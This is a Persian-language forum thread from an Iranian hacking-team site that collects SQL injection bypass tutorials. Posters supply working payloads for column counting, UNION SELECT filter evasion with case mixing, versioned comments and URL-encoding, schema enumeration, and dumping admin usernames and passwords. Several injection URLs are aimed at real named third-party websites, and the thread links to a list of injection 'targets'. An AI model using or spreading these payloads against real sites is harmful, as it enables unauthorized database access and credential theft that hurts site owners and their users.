رفتن به مطلب
انجمن تیم امنیتی گارد ایران

ارسال های توصیه شده

در این تاپیک بایپس های باگ محبوب sql injection رو مطرح می کنیم.

لطفا سوالات رو در بخش سوال و جواب مطرح کنید.

قبل از قرار دادن آموزش با بنده هماهنگ کنید.

تاپیک با مدیر عزیز

C0d3!Nj3ct!0N هماهنگ شده

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

با نام خدا اولین آموزش رو قرار می دم.

این بایپس مربوط به  دستور order by هست.

گاها وقتی می خواید تعداد ستون های یک سایتو به دست بیارین هر عددی که بذارید سایت بدون ارور لود میشه.

در این جور مواقع به آخر آدرس سایت یک + اضافه می کنیم و به عدد بعد از id یک '

برای این که بهتر متوجه بشین به مثال نگاه کنید.

http://www.thejungleisland.com/readnews.php?id=6+order+by+99--

این سایت رو حتی اگه 9999999999999999 هم بذارید بدون ارور بالا میاد

بایپسش می کنیم:

http://www.thejungleisland.com/readnews.php?id=6%27+order+by+999--+

می بینید که ارور داد.اعداد رو کم می کنیم و می رسیم به 4 

بدون ارور بالا اومد.

http://www.thejungleisland.com/readnews.php?id=6%27+order+by+4--+

اینجا هم می تونید ادامه ی اینجکت رو ببینید

http://guardiran.org/forums/index.php?/topic/61-تارگت-های-sql-injection/page-6#entry1616

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

بایپس بعدی باز هم مربوط order by هست و مثل بالایی باید در تمام مدت اینجکت باشه.

خیلی کم استفاده میشه و به جای + به کارمی ره.

تارگت ما:

www.site.com/news.php?id=5

فرض می کنیم سایت 4 تا ستون داره

--www.site.com/news.php?id=5+union+select+1,2,3,4

سایت تغییری نمی کنه.

 

بدین صورت بایپس می کنیم.

--*/www.site.com/news.php?id=5/**/ union/**/select/**/1,2,3,4
لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

بایپس بعدی برای union select هست.

تقریبا توی همه ی سایتا برای نمایش ستون آسیب پذیر بهش نیاز دارید.

تارگت ما در مرحله ی پیدا کردن ستون آسیب پذیر:

http://www.sumit.com.tw/theme.php?id=2+union+select+1,2,3,4,5,6,7--
خب ستون آسیب پذیر رو نشون نداد، با استفاده از - بایپس می کنیم.
http://www.sumit.com.tw/theme.php?id=-2+UnIOn+SeLEcT+1,2,3,4,5,6,7--
با بزرگ و کوچک کردن حروف در خیلی از اوقات جواب میده
لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

البته این موضوع رو هم بفرمایید که در بعضی از اوقات شما با ارورهایی مانند :

403

,...

مواجه میشین که در اون بخشها متفاوت هستند

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

  • 2 ماه بعد...

Not Acceptable eror bypass

نوع دیگری از ارورهای SQLi که به خاطر ارورش به Not Acceptable معروف هست توی این آموزش توضیح داده خواهد شد...

از نظر من این ارور به خاطر بایپیس های خیلی زیادی که توی خودش داره از اهمیت بالایی برخوردار هستش، شاید شما توی ارور Forbidden یاد گرفتید که یه سری از متدهای اساسی رو بایپیس کنید

ولی در این ارور یاد میگیرید که بایپیس کردن یه چیزی فراتر از چیزی که در تصورات شما میگنجه، به نوعی شما میفهمید که یک سایت تا چه اندازه میتونه به بایپیس نیاز داشته باشه...

site.com/index.php?id=1+union+/*!select*/+1,/*!group_concat(column_name)*/,3+from+/*!information_schema*/.columns+/*!where*/+/*!table_name=0x000000*/--  
توجهبایپیس های مربوط به این ارور، فقط محدود به بایپیس های ذکر شده نیست... گاهی وقتا پیش میاد که شما نیاز دارید union و یا From رو هم بایپیس کنید... ولی عادی ترین حالت ممکن و به نوعی حالت نرمالش چیزی هست که در بالا براتون گذاشتم... باز هم تاکید میکنم تا میتونید در صورت برخورد با ارورهای مختلف با سایت مورد نظرتون بازی کنید، هک کردن نیاز به اعصاب قوی میخواد... 

نکتهموضوع بعدی اینکه، دیده شده یه سری از سایتها که از این ارور برخوردار نبودن، ولی بایپیسشون به این صورت بوده، این رو گفتم تا توی ذهنتون باشه که بایپیس های ارور مختلف فقط مختص به ارورهای بالا نیست، گه گاهی پیش میاد سایتتون یه سایت معمولی با ارورهای اس کیو الی معمولی باشه، ولی بایپیسشون به این صورتی باشه که براتون توضیح دادم... پس حواستون رو خوب جمع کنید همه جوره تا بتونید مراحل اینجکت رو با موفقیت تا آخر پشت سر بذارید...

دستور Like یکی از پرکاربردین دستوراتی هست که بین هکرهای دیتابیس هکینگ مورد استفاده قرار میگیره...

این دستور به خاطر ویژگی منحصر به فردی که توی فراخوانی تیبل های اساسی داره بسیار حائز اهمیت هستش... مخصوصا برای سایتهایی که دارای دیتابیس های خیلی زیادی هستن...

کسایی که به نوعی با این متد آشنایی پیدا کردن مطمئنا متوجه این موضوع خواهند شد که این متد، متدی نیست که بخوان به راحتی از کنارش بگذرن...

در ادامه توضیح کوتاهی در مورد ویژگی منحصر به فرد این دستور براتون میدم:

فراخوانی تیبل های اساسی به صورت حدسی:

site.com/index.php?id=1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_name+like+'Users' 

دستور بالا، دستوری هستش که به شما کمک میکنه که تیبل های اساسی که توی ذهنتون دارید رو فراخوانی کنید، مثلا من میدونم که تیبل های ادمین میتونه شامل تیبل های: user,users,admin,login,member,tbladmin,tblusers و ... باشه، من این تیبل ها رو به صورت ساده یا به صورت هکس شده جلوی این دستور قرار میدم و اینتر میکنم، اگر تیبل مورد نظر توی ستون اسیب پذیر نمایش داده شد به این معنی که تیبل مورد نظر توی دیتابیس موجوده، ولی اگر نمایش نداد یعنی چنین تیبلی وجود نداره...

site.com/index.php?id=1+union+select+1,group_concat(table_name),3+from+information_schema.columns+where+column_name+like+'%pass%'  

متد فوق، دستوری است که به شما تیبل هایی رو نمایش میدهد که شامل تیبل password نیز میباشد... همیشه یادتون باشه که هر تیبل اساسی که توش تیبل passwordموجود است به معنی تیبل ادمین نیست، دیده شده تیبل اساسی چنین تیبلی رو داخل خودش داشت، ولی توش خبری از یوزر و پسورد ادمین نبود و به نوعی فیک محسوب میشد... این متد از متد قبلی دقیق تر عمل میکنه و یه جورایی دستتون رو توی اینجکتهای مختلف بازتر میکنه

توجهاگر شما تیبلی رو فراخوانی کردید ولی به علت زیاد بودن دیتابیس نمیدونید که تیبل مورد نظرتون توی کدوم دیتابیس موجود هستش، میتونید از متود زیر استفاده کنید:

group_concat(table_name,0x3a,table_schema)

کار با دیتابیس به نوعی شیوه ی کسایی هستش که به نوعی در مورد اس کیو ال حرفی برای گفتن دارند...

دیتابیس و اسامی اون، داخل هر سایتی به شیوه های گوناگونی وجود داره، چیزی که مسلمه تنها دیتابیسی که توی تمام سایتها وجود داره information_schema است که مسلما این دیتابیس شامل تیبل های اساسی نیست...

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

فراخوانی دیتابیس

 

فراخوانی نام دیتابیس اصلی:

 

دستور فوق، دیتابیس اصلی سایت مورد نظر ما رو نمایش میده...

فراخوانی تمام دیتابیس های موجود:

site.com/index.php?id=1+union+select+1,group_concat(schema_name),3+from+information_schema.schemata--  

دستور فوق، تمام دیتابیس های موجود در سایت رو به نمایش میذاره... که متوجه خواهید شد که information_Schema توی همشون هست...

نمایش اطلاعات دیتابیس:

site.com/index.php?id=1+union+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database()--  

توجه داشته باشید که زمانی که database() جلوی table_schema قرار میگیره، فقط اطلاعات تیبل اصلی که در متد اول "فراخوانی نام دیتابیس اصلی" براتون توضیح دادم، نمایش داده میشه، اگر شما مایل به این هستید که دیتابیس های دیگه رو فراخوانی کنید باید نام دیتابیس های دیگه رو یا در داخل کوتیشن به صورت 'نام دیتابیس' و یه به صورت HEX شده جلوی table_schema قرار بدید...

ذکر نام دیتابیس در هنگام استخراج یوزر و پسورد:

site.com/index.php?id=1+union+select+1,group_concat(username,0x3a,password),3+from+<Database name>.admin--  

یه مواقعی پیش میاد به علت زیاد بودن دیتابیس داخل یه سایت، شما زمانی که میخواین یوزر و پسورد ادمین رو ببینید با ارور مواجه میشید، اینجور مواقع شما باید اسم دیتابیس مورد نظرتونم توی متدتون بیارید... برای اینکه بفهمید تیبل مورد نظرتون توی کدوم دیتابیسه، همونطوری که گفتم میتونید از متد زیر استفاده کنید:

group_concat(table_name,0x3a,table_schema)  
لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

Forbidden eror bypass

 

یکی از معروفترین ارورهایی که همه ی افراد علم دیتابیس هکینگ باهاش آشنایی دارند ارور Forbidden هستش...

این ارور بسته به امنیت فایروالی که داره دارای بایپیس های گوناگونی هستش که توی این آموزش سعی شده یکی از نحوه ی اینجکت این ارور به نمایش گذاشته بشه...

سعی میکنم توی این تاپیک به صورت نوشتاری یه توضیح کوتاهی در مورد بایپیس این ارور بهتون بدم 

توی این آموزش یکی از شیوه های ساده ارور Forbidden به نمایش گذاشته شده اما روش های دیگه ای هم هست که بشه باهاش دست و پنجه نرم کرد:

site.com/index.php?id=1+union+/*!50000select*/+1,(column_name),3+from+/*!50000information_schema*/.columns+where+table_name=0x000000+limit+1+offset+1  
نکتهیکی از ساده ترین روشهای رفع ارور توی این ارور حذف group_concat توی متدمون هستش که مسلما این مسئله باعث میشه که ما برای دیدن تیبلها توی بیشتر سایتها از دستور limit و offset استفاده کنیم که شاید یه مقدار وقت گیر باشه...

ولی شما میتونید به جای حذف کردن این تگ توی دستورتون group_concat رو به شیوه های مختلف بایپیس کنید که یکی از اون بایپیس ها نوشتن این کلمه به صورت کوچک و بزرگ هستش به این صورت GrOuP_CoNcAt که جواب هم میده و سایت مورد نظرتون لود میشه به این صورت:

 
site.com/index.php?id=1+union+/*!50000select*/+1,GrOuP_CoNcAt(column_name),3+from+/*!50000information_schema*/.columns+where+table_name=0x000000 

بعضی موقع ها نیازه که علاوه بر اینکه شکل ظاهری Group_concat رو تغییر میدید اون رو هم بایپیس کنید به این شکل:

/*!50000GrOuP_CoNcAt(column_name)*/  

فقط توجه کنید به فایروال سایت مورد نظرتون تا ببینید به چه کلمه ای حساس هستش، توی مدل های خیلی پیشرفته تر گاهی وقتا پیش میاد سایتتون به underline کلمه هایی مثل، Group_Concat، table_name، information_schema حساس باشه که شما نیاز دارید به اینکه اون رو حالت HEX شده در بیارید ولی نه به صورت 0x00 بلکه از همون زبان HEX استفاده میشه ولی به جای اینکه پشتش 0x قرار بدیم، پشت هر کلمه % قرار میدیم... این بایپیس مخصوص بایپیس متد هستش، به این صورت:

site.com/index.php?id=1+union+/*!50000select*/+1,GrOuP_CoNcAt(column%5fname),3+from+/*!50000information%5fschema*/.columns+where+table%5fname=0x000000  

یا بعضی از سایتها پیش میاد که سایت مورد نظرمون با بایپیس /*!50000text*/ بایپیس نمیشه، این مدل HEX هم توی بایپیس کلمات هم مورد استفاده قرار میگیره، به این صورت:

site.com/index.php?id=1+%75nion+%73elect+1,GrOuP_CoNcAt(column_name),3+from+%69nformation_schema.columns+where+table_name=0x000000 
بعضا پیش میاد، که شما علاوه بر HEX کردن باید از ترفند /*!50000text*/ استفاده کنید، در کل اینطوری بهتون بگم که شما باید با سایتتون بازی کنید تا اینکه بتونید اون رو بایپیس کنید، مدلهای خیلی زیادی هستش که بخوام براتون توضیح بدم، احتمال داره براتون گیج کننده باشه، من دیگه بیشتر از این توضیح نمیدم... 

اگر بازم جایی مشکل داشتید من در خدمتتون هستم...

نوع دیگری از بایپیس Forbidden در این آموزش مورد نمایش قرار میگیرد...

در این آموزش ما به جای استفاده از بایپیس /*!50000text*/ توی کارمون، از پرانتز استفاده خواهیم کرد به این شکل:

 
site.com/index.php?id=1+union+(select+1,(column_name),3+from+/*!information_schema*/.columns+where+table_name=0x000000)--  

نکتهدر مورد بایپیس Group_concat در پست قبلی یه سری توضیحاتی دادم که اون توضیحات توی این نوع از بایپیس هم کاربردی هستش و میتونید به شیوه های مختلف متد مورد نظرتون رو بایپیس کنید...

امیدوارم از این آموزش هم لذت کافی رو ببرید.../

لینک به دیدگاه
به اشتراک گذاری در سایت های دیگر

برای ارسال دیدگاه یک حساب کاربری ایجاد کنید یا وارد حساب خود شوید

برای اینکه بتوانید دیدگاهی ارسال کنید نیاز دارید که کاربر سایت شوید

ایجاد یک حساب کاربری

برای حساب کاربری جدید در سایت ما ثبت نام کنید. عضویت خیلی ساده است !

ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید

ورود به حساب کاربری

انجمن تیم امنیتی گارد ایران

تیم امنیتی گارد ایران یک گروه مستقل است که قوانین آن با خط مشی جمهوری اسلامی ایران مغایرت ندارد. تیم امنیتی گارد ایران از سال 1393 فعالیت خود را آغاز کرد و هدف این تیم تامین امنیت سایت ها و سرورهای ایرانی است. تیم ما همیشه برای دفاع از مرزهای سایبری سرزمین عزیزمان ایران آماده است.

شبکه های اجتماعی

×
×
  • اضافه کردن...